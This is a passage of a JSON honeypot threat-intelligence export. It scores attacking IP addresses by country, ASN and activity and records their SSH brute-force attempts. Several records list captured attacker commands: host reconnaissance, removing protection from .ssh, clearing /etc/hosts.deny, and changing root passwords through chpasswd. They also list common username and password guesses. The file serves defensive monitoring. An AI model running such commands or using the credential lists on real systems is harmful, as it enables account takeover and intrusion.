        "total_events_30d": 154,
        "days_active_30d": 8,
        "ports_targeted_30d": 64,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-03T18:30:39+00:00",
        "last_seen_30d": "2026-04-10T23:25:56.733000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 109,
        "Honeytrap": 39,
        "Cowrie": 2,
        "Dionaea": 2,
        "Tanner": 2
      }
    },
    "205.210.31.64": {
      "attack_count": 2,
      "first_seen": "2026-04-10T08:56:26.537Z",
      "last_seen": "2026-04-10T08:56:36.354Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 28,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-03T02:40:21+00:00",
        "last_seen_30d": "2026-04-30T18:15:38.221000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 88,
        "Honeytrap": 30,
        "Adbhoney": 4,
        "Dionaea": 4,
        "Cowrie": 2
      }
    },
    "211.73.177.183": {
      "attack_count": 2,
      "first_seen": "2026-04-22T12:33:14.900Z",
      "last_seen": "2026-04-22T12:33:27.697Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Nantou City",
      "asn": 18049,
      "as_org": "Taiwan Infrastructure Network Technologie",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T12:33:14.900000+00:00",
        "last_seen_30d": "2026-04-22T12:34:35.938000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.236.202.5": {
      "attack_count": 2,
      "first_seen": "2026-04-05T17:59:35.334Z",
      "last_seen": "2026-04-05T18:00:06.062Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T17:59:35.334000+00:00",
        "last_seen_30d": "2026-04-05T18:01:07.868000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.151.192.14": {
      "attack_count": 2,
      "first_seen": "2026-04-28T10:30:02.926Z",
      "last_seen": "2026-04-28T10:30:16.588Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gumi",
      "asn": 9981,
      "as_org": "Saero Network Service LTD",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T10:30:02.926000+00:00",
        "last_seen_30d": "2026-04-28T10:31:22.806000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.222.163.222": {
      "attack_count": 2,
      "first_seen": "2026-04-24T11:51:51.257Z",
      "last_seen": "2026-04-24T11:52:22.054Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T11:51:51.257000+00:00",
        "last_seen_30d": "2026-04-24T11:53:24.196000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "84.201.6.73": {
      "attack_count": 2,
      "first_seen": "2026-04-03T21:08:21.742Z",
      "last_seen": "2026-04-03T21:08:22.878Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 214036,
      "as_org": "Ultahost, Inc.",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 1.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 2,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T21:08:21.742000+00:00",
        "last_seen_30d": "2026-04-04T18:21:17.478000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "91.80.180.12": {
      "attack_count": 2,
      "first_seen": "2026-04-23T20:11:50.399Z",
      "last_seen": "2026-04-23T20:12:02.628Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T20:11:50.399000+00:00",
        "last_seen_30d": "2026-04-23T20:13:09.990000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.124.160.2": {
      "attack_count": 3387,
      "first_seen": "2026-04-07T21:05:32.141Z",
      "last_seen": "2026-04-21T07:31:19.212Z",
      "sessions": 1129,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Cuautla",
      "asn": 265625,
      "as_org": "Jafica Telecomunicaciones",
      "threat_score": 61.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 13.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 18628,
        "days_active_30d": 16,
        "ports_targeted_30d": 3644,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-06T16:21:34.179000+00:00",
        "last_seen_30d": "2026-04-21T14:58:45.580000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10601,
        "Honeytrap": 4632,
        "Cowrie": 3387,
        "Dicompot": 7,
        "Sentrypeer": 1
      }
    },
    "35.210.61.208": {
      "attack_count": 1354,
      "first_seen": "2026-04-06T05:22:22.416Z",
      "last_seen": "2026-04-27T10:54:24.126Z",
      "sessions": 142,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "dev",
        "ubuntu",
        "clement",
        "git",
        "hruser",
        "odoo",
        "pandora",
        "postgres",
        "testuser",
        "user",
        "vpn",
        "ali",
        "ansible",
        "claude",
        "controlm",
        "erpnext",
        "frappe"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123321",
        "!@#abc",
        "!Q2wE4r",
        "123",
        "1234",
        "12345",
        "12345678",
        "1234567812345678",
        "12345678A",
        "123456Zx",
        "123987",
        "1qaz@WSX!QAZ",
        "345ert#$%ERT",
        "7ujm#$",
        "AAA123456789",
        "ADMIN123",
        "Aa102026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123321\\n6E4T1958uoia\\n6E4T1958uoia\\n\"|passwd",
        "echo \"clement\\ns0AbeGkXkd3b\\ns0AbeGkXkd3b\\n\"|passwd",
        "echo \"dev@2025\\n3WzyTbln7fm6\\n3WzyTbln7fm6\\n\"|passwd",
        "echo \"hruser\\nUIB6y21u6PQg\\nUIB6y21u6PQg\\n\"|passwd",
        "echo \"pandora\\nNOuLrVC6BZUJ\\nNOuLrVC6BZUJ\\n\"|passwd",
        "echo \"root:20qspRTUgRVM\"|chpasswd|bash",
        "echo \"root:4g5GTQEyEkUM\"|chpasswd|bash",
        "echo \"root:JQhSNucBAfRI\"|chpasswd|bash",
        "echo \"root:S4R2R6NiZmQW\"|chpasswd|bash",
        "echo \"root:mgrgHzeao5uy\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 15169,
      "as_org": "Google LLC",
      "threat_score": 54.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1672,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T05:22:22.416000+00:00",
        "last_seen_30d": "2026-04-27T10:55:25.866000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1354,
        "Suricata": 318
      }
    },
    "27.112.78.223": {
      "attack_count": 979,
      "first_seen": "2026-04-04T21:14:06.331Z",
      "last_seen": "2026-04-13T14:33:31.834Z",
      "sessions": 114,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "test",
        "git",
        "postgres",
        "steam",
        "user",
        "ahmad",
        "bot",
        "demo",
        "gitlab",
        "sammy",
        "st",
        "teamspeak",
        "ttest",
        "arun",
        "asdf",
        "bounce",
        "deploy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "password",
        "!@#",
        "!QAZ2wsx3edc",
        "1",
        "12121212",
        "123!@#asd",
        "12345",
        "123@123a",
        "7654321",
        "9981",
        "A123456788",
        "A1234567893",
        "AAAaaa111",
        "AAzz111",
        "ASDF",
        "Aa1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"7654321\\npFQrabSaIcuF\\npFQrabSaIcuF\\n\"|passwd",
        "echo \"ahmad123\\nira35BYhiCmW\\nira35BYhiCmW\\n\"|passwd",
        "echo \"password\\nZc0jGGQ8z6PW\\nZc0jGGQ8z6PW\\n\"|passwd",
        "echo \"password\\nc95dK03lgi4m\\nc95dK03lgi4m\\n\"|passwd",
        "echo \"root:DzzQlnBSXzXd\"|chpasswd|bash",
        "echo \"root:xf34muJyd9iP\"|chpasswd|bash",
        "echo \"st\\nPWFayJ5YBriy\\nPWFayJ5YBriy\\n\"|passwd",
        "echo -e \"7654321\\npFQrabSaIcuF\\npFQrabSaIcuF\"|passwd|bash",
        "echo -e \"ahmad123\\nira35BYhiCmW\\nira35BYhiCmW\"|passwd|bash",
        "echo -e \"password\\nZc0jGGQ8z6PW\\nZc0jGGQ8z6PW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 1251,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T21:14:06.331000+00:00",
        "last_seen_30d": "2026-04-13T14:34:37.474000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 979,
        "Suricata": 272
      }
    },
    "103.189.235.93": {
      "attack_count": 568,
      "first_seen": "2026-04-02T22:16:43.153Z",
      "last_seen": "2026-04-09T19:10:14.451Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "patrick",
        "sammy",
        "test",
        "Ubuntu",
        "camera",
        "db2inst1",
        "deep",
        "it",
        "n8n",
        "postgres",
        "sftp_user",
        "steam",
        "test5",
        "usuario"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "00",
        "123",
        "12345678",
        "12345678.",
        "123456Cc",
        "123qazWSX",
        "123qwer",
        "A1234567891011121314151617181920",
        "Admin!!!",
        "Athena2026",
        "N8n26!",
        "Newpassword123!",
        "Pa$$w0rd1qaz",
        "Postgres!2025",
        "Qazwsx1..",
        "Qazwsx11111111$",
        "Sy@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"patrick\\nx2tZKJ50nilR\\nx2tZKJ50nilR\\n\"|passwd",
        "echo \"root:Ur2Lu31WE9DB\"|chpasswd|bash",
        "echo \"root:mZi87NAwgxSS\"|chpasswd|bash",
        "echo \"sammy31\\nMI2P1BpySfsx\\nMI2P1BpySfsx\\n\"|passwd",
        "echo \"ubuntu@2024\\nPlivAsC1vJ98\\nPlivAsC1vJ98\\n\"|passwd",
        "echo -e \"patrick\\nx2tZKJ50nilR\\nx2tZKJ50nilR\"|passwd|bash",
        "echo -e \"sammy31\\nMI2P1BpySfsx\\nMI2P1BpySfsx\"|passwd|bash",
        "echo -e \"ubuntu@2024\\nPlivAsC1vJ98\\nPlivAsC1vJ98\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.4,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 698,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T22:16:43.153000+00:00",
        "last_seen_30d": "2026-04-09T19:11:22.254000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 568,
        "Suricata": 130
      }
    },
    "27.79.44.216": {
      "attack_count": 427,
      "first_seen": "2026-04-13T12:47:57.723Z",
      "last_seen": "2026-04-13T13:25:33.915Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "cisco",
        "monitor",
        "test",
        "user",
        "*****",
        "anton",
        "ashish",
        "auto",
        "belkinstyle",
        "brenda",
        "carol",
        "cf1c22",
        "config",
        "developer",
        "dubai",
        "ftpuser",
        "geral",
        "help"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "123456",
        "monitor",
        "*****",
        "039715582364317",
        "0987654321",
        "1111",
        "111111",
        "112233",
        "123456789",
        "1234567890%*()",
        "72ca06",
        "abc123",
        "abcdefg",
        "admin01",
        "admin123",
        "admin@123",
        "administrator",
        "aerohive"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 610,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T12:47:57.723000+00:00",
        "last_seen_30d": "2026-04-13T13:26:36.691000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 427,
        "Suricata": 183
      }
    },
    "202.165.22.12": {
      "attack_count": 400,
      "first_seen": "2026-04-09T18:23:58.916Z",
      "last_seen": "2026-04-09T19:07:03.663Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "patrick",
        "sammy",
        "test",
        "Ubuntu",
        "camera",
        "db2inst1",
        "deep",
        "it",
        "n8n",
        "postgres",
        "sftp_user",
        "steam",
        "test5",
        "usuario"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "00",
        "123",
        "12345678",
        "123qwer",
        "A1234567891011121314151617181920",
        "N8n26!",
        "Postgres!2025",
        "Qazwsx1..",
        "Qazwsx11111111$",
        "Test22!",
        "Xy123456@",
        "abcd1234",
        "camera",
        "hb@123456",
        "it",
        "patrick",
        "sammy31"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"patrick\\nLqvykDdwLTwl\\nLqvykDdwLTwl\\n\"|passwd",
        "echo \"root:L5pTEgZCfLPj\"|chpasswd|bash",
        "echo \"sammy31\\n4f6xSbHj0IOn\\n4f6xSbHj0IOn\\n\"|passwd",
        "echo \"ubuntu@2024\\nolZCyKduq3Bm\\nolZCyKduq3Bm\\n\"|passwd",
        "echo -e \"patrick\\nLqvykDdwLTwl\\nLqvykDdwLTwl\"|passwd|bash",
        "echo -e \"sammy31\\n4f6xSbHj0IOn\\n4f6xSbHj0IOn\"|passwd|bash",
        "echo -e \"ubuntu@2024\\nolZCyKduq3Bm\\nolZCyKduq3Bm\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 18206,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 476,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T18:23:58.916000+00:00",
        "last_seen_30d": "2026-04-09T19:08:04.182000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 400,
        "Suricata": 76
      }
    },
    "77.83.245.135": {
      "attack_count": 397,
      "first_seen": "2026-04-09T10:39:18.101Z",
      "last_seen": "2026-04-09T11:20:28.438Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "test",
        "ftpuser",
        "helpdesk",
        "int",
        "setup",
        "teamspeak",
        "tom",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "321",
        "@a123456789",
        "Abcd123456!!",
        "Admin@888",
        "Cc1234567",
        "Huawei@CLOUD8!",
        "QA2ws3ed",
        "QWER_1234",
        "Qazwsx0!@",
        "Teamspeak12345",
        "Ubuntu27!",
        "abc.123",
        "bbQQ111",
        "helpdesk",
        "int",
        "master",
        "qazwsx2024#",
        "qwer123456@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:G2Y8ICCptvVK\"|chpasswd|bash",
        "echo \"root:plT4JFipENXj\"|chpasswd|bash",
        "echo \"root:skRlAiSbkjnZ\"|chpasswd|bash",
        "echo \"root:wEakSq6dzjSk\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 470,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T10:39:18.101000+00:00",
        "last_seen_30d": "2026-04-09T11:21:33.092000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 397,
        "Suricata": 73
      }
    },
    "150.5.169.176": {
      "attack_count": 387,
      "first_seen": "2026-04-04T08:01:56.101Z",
      "last_seen": "2026-04-10T05:22:16.390Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "frappe",
        "345gs5662d34",
        "admin",
        "steam",
        "ubuntu",
        "user",
        "abhishek",
        "anna",
        "den",
        "deploy",
        "dev",
        "ftpuser",
        "hadoop",
        "minecraft",
        "openeuler",
        "psa",
        "sammy",
        "sftpuser",
        "test"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123!@#qwe",
        "123456",
        "12345@Qwert",
        "1Qwertyuiop",
        "AA123456789",
        "AAxx000",
        "Admin@9000",
        "FRAPPE",
        "Frappe!2025",
        "Lg!123456",
        "Nihao123",
        "P@ssw0rd",
        "P@ssw0rd12345",
        "Qazwsx9999!@#",
        "Root!@#",
        "Root12!@",
        "Root2024!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"admin123!@#\\nPvUlDDYmWpdt\\nPvUlDDYmWpdt\\n\"|passwd",
        "echo \"root:cKZ8qYiiczSI\"|chpasswd|bash",
        "echo -e \"admin123!@#\\nPvUlDDYmWpdt\\nPvUlDDYmWpdt\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
